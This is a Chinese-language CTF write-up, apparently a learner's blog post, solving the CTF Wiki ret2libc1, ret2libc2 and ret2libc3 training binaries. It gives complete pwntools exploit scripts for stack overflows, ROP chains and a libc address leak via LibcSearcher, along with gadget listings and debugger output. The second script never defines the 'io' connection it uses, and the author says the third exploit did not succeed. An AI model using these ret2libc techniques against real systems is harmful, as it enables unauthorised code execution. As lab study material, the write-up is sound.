PWN

CTF Wiki PWN Exp

Posted by Leo on 2023-11-30
Estimated Reading Time 6 Minutes
Words 1.4k In Total

ret2lic1

程序给出了system的plt和字符串/bin/sh,直接构造payload,可以使用IDA Pro手动找system函数的plt表项地址,也可以使用pwntools的ELF对象自动找

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
#! /usr/bin/env python
from pwn import *
bin_sh_addr = 0x08048720
# system_addr = 0x08048460
elf = ELF('./ret2libc1')
system_addr = elf.symbols['system']

payload = b'a'*(0xf08-0xe9c+4) + p32(system_addr) + b'aaaa' + p32(bin_sh_addr)
io = process('./ret2libc1')
io.sendline(payload)
io.interactive()

ret2lic2

这里缺少/bin/sh字符串,没有现成的,甚至sh\x00都没有,只能在构造ROP链中加上gets函数输入一个/bin/sh,第一个gadget读取字符串(可以使用gets函数的plt),第二个gadget执行 system("/bin/sh"),这里因为ROP链只有两个函数,所以可以不加pop_ret来平衡栈,即

1
payload = b'a'*(108+4) + p32(gets_addr) + p32(system_addr) + p32(bin_sh_addr) + p32(bin_sh_addr)

若寻找pop_ret如下(只要是通用寄存器都行,不一定是ebx,不选ebp和esp担心影响函数栈帧)

1
2
3
(pwn) ~/Desktop/buuctf/ctf-wiki-20:52 >>> ROPgadget --bin ret2libc2 --only 'pop|ret' | grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python
from pwn import *

elf = ELF('./ret2libc2')
system_addr = elf.symbols['system']
gets_addr = elf.symbols['gets']
bin_sh_addr = 0x0804A080
# pop_ret_addr = 0x0804843d

# payload = b'a'*(108+4) + p32(gets_addr) + p32(pop_ret_addr) + p32(bin_sh_addr) + p32(system_addr) + b'beef' + p32(bin_sh_addr)
payload = b'a'*(108+4) + p32(gets_addr) + p32(system_addr) + p32(bin_sh_addr) + p32(bin_sh_addr)
io.sendline(payload)
io.interactive()

ret2lic3

system的plt和字符串/bin/sh都没有给,由于延迟绑定机制,如果程序中没有调用到system函数,就不会有system函数的plt表项,那就只能找到system函数在libc中的真实地址

首先使用一些方法泄露其他函数的GOT表项的地址(即Libc中该函数的地址),然后再泄露远程主机的Libc版本(比如LibcSearcher),就可以通过偏移量计算出远程主机所使用的Libc下system函数的地址,CTF Wiki给我总结了流程:

  • 泄露__libc_start_main地址
  • 获取 libc 版本
  • 获取system地址与/bin/sh的地址
  • 返回程序入口,再次执行源程序
  • 触发栈溢出执行system("/bin/sh")

因为开启了ASLR但没有开启PIE,可以在ROP链中使用puts函数将要泄露的地址输出到前端,从IDA Pro中找到GOT表项地址,将地址中存储的内容(要泄露的libc地址)输出在前端

因为__libc_start_main是程序的入口,GOT表中肯定存在__libc_start_main这一项,所以一般选取__libc_start_main作为要泄露的地址,返回地址的选取有main函数和_start函数两种,注意PLT表中只有链接的标准函数,所以不会有_startmain表项,这两个作为程序入口是放在程序代码段的,但libc_start_main是动态链接的函数

在程序的执行过程中,_start调用了libc_start_mainlibc_start_main调用了main

__start这个符号是程序的起始;main是被标准库调用的一个符号

Linux x86 Program Start Up (dbp-consulting.com)这篇文章把整个程序运行到main函数被调用的过程都讲了一遍,有时间看完后再总结一篇博客,_start函数如下(汇编实现的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
080482e0 <_start>:
80482e0: 31 ed xor %ebp,%ebp
80482e2: 5e pop %esi
80482e3: 89 e1 mov %esp,%ecx
80482e5: 83 e4 f0 and $0xfffffff0,%esp
80482e8: 50 push %eax
80482e9: 54 push %esp
80482ea: 52 push %edx
80482eb: 68 00 84 04 08 push $0x8048400
80482f0: 68 a0 83 04 08 push $0x80483a0
80482f5: 51 push %ecx
80482f6: 56 push %esi
80482f7: 68 94 83 04 08 push $0x8048394
80482fc: e8 c3 ff ff ff call 80482c4 <__libc_start_main@plt>
8048301: f4 hlt

重点在于第三和第四行,直接引用原文

The mov puts argv into %ecx without moving the stack pointer. Then we and the stack pointer with a mask that clears off the bottom four bits

也就是操作系统会使用execve函数开启进程执行程序,pop %esi将参数argc赋给esi,此时esp指向第二个参数argv,使用mov指令赋给ecx,使用AND逻辑操作将esp的最后四个字节变成0,esp会减小0-15个字节大小,起到了内存对齐的作用,有利于*“aligned for memory and cache efficiency”*,最重要的是这个语句起到了平衡堆栈的作用

所以这里使用_start函数作为返回地址时,第二个发生payload的填充数据长度和第一次相同,而选择main函数的话,main没有平衡堆栈的操作,会使esp的值变大,相当于栈空间减小了,填充数据的长度也减小了,因为我们的libc版本

使用gdb跟进调试会发现返回main函数后,栈的空间是0xfff7c150 - 0xfff7c0d0 = 0x80 = 128,栈的空间减小了8,所以填充数据长度从112变成了104

1
2
EBP  0xfff7c150 ◂— 0x61616161 ('aaaa')
ESP 0xfff7c0d0 —▸ 0x804876b ◂— inc ebx /* 'Can you find it !?' */

原来大小是0xffffcf08 - 0xffffce80 = 0x88 = 136

1
2
EBP  0xffffcf08 ◂— 0x0
ESP 0xffffce80 —▸ 0xffffce9c ◂— 0x0

这里可能因为LibcSeacher找不到正确的版本,没有打通

我的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#! /usr/bin/env python
from pwn import *
from LibcSearcher import *

io = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
context.terminal=['tmux','split-window','-h']

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

payload1 = flat(['a'*112, puts_plt, main, libc_start_main_got])
io.sendlineafter('Can you find it !?', payload1)

# hex()是将十进制整型转成十六进制字符串,u32()/u64()是将字节转成十进制整型,p32()/p64()是将整型(无进制要求)转成字节
libc_start_main_addr = u32(io.recv()[0:4])
print(hex(libc_start_main_addr))

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = flat(['a'*104, system_addr, 0xdeadbeef, bin_sh_addr])
io.sendline(payload2)
io.interactive()

本着互联网开源的性质,欢迎分享这篇文章,以帮助到更多的人,谢谢!